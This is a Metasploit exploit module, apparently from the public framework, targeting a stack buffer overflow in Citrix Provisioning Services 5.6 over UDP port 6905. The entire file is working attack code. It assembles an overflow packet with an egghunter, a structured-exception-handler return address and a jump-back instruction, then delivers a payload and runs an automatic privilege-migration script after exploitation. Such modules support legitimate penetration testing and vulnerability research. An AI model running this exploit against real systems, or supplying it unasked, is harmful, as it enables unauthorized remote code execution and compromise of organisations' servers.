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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
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          By sending a specially crafted packet to the Provisioning Services server, a fixed
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          length buffer on the stack can be overflowed and arbitrary code can be executed.
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        },
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        'Author' => 'mog',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '70597'],
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          [ 'ZDI', '11-023' ],
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          [ 'URL', 'http://web.archive.org/web/20110123164820/http://secunia.com:80/advisories/42954/' ],
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          [ 'URL', 'http://support.citrix.com/article/CTX127149' ],
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        ],
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        'DefaultOptions' => {
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          # best at delaying/preventing target crashing post-exploit
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          'EXITFUNC' => 'process',
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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        'Payload' => {
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          'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # pop/pop/ret in streamprocess.exe
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          # Service runs and automatically shuts down in Win 7
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          [ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2011-01-20',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(6905)])
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  end
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  def exploit
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    eggoptions =
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      {
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        :checksum => true,
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        :eggtag => 'W00t',
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      }
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    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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    sploit = "\x10\x00\x02\x40"  # message type
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    sploit << rand_text_alpha_upper(30)
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    sploit << "\x00\x01\x00\x00" # length field
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    sploit << rand_text_alpha_upper(400)
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    sploit << hunter
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    sploit << rand_text_alpha_upper(64 - hunter.length)
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    sploit << "\xEB\xBE"                # Jump back 66 bytes to hunter because there's
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    sploit << rand_text_alpha_upper(2)  # only 24 bytes of cyclic copy after ret
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    sploit << [target.ret].pack('V')    # SE handler
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    sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
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    sploit << egg                       # Payload has a whole page to itself
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    print_status("Trying target #{target.name}...")
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    connect_udp
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    udp_sock.put(sploit)
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    print_status("Exploit sent, wait for egghunter.")
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    select(nil, nil, nil, 4) # takes about 8 seconds in tests
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    handler(udp_sock)
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    disconnect_udp
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  end
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end
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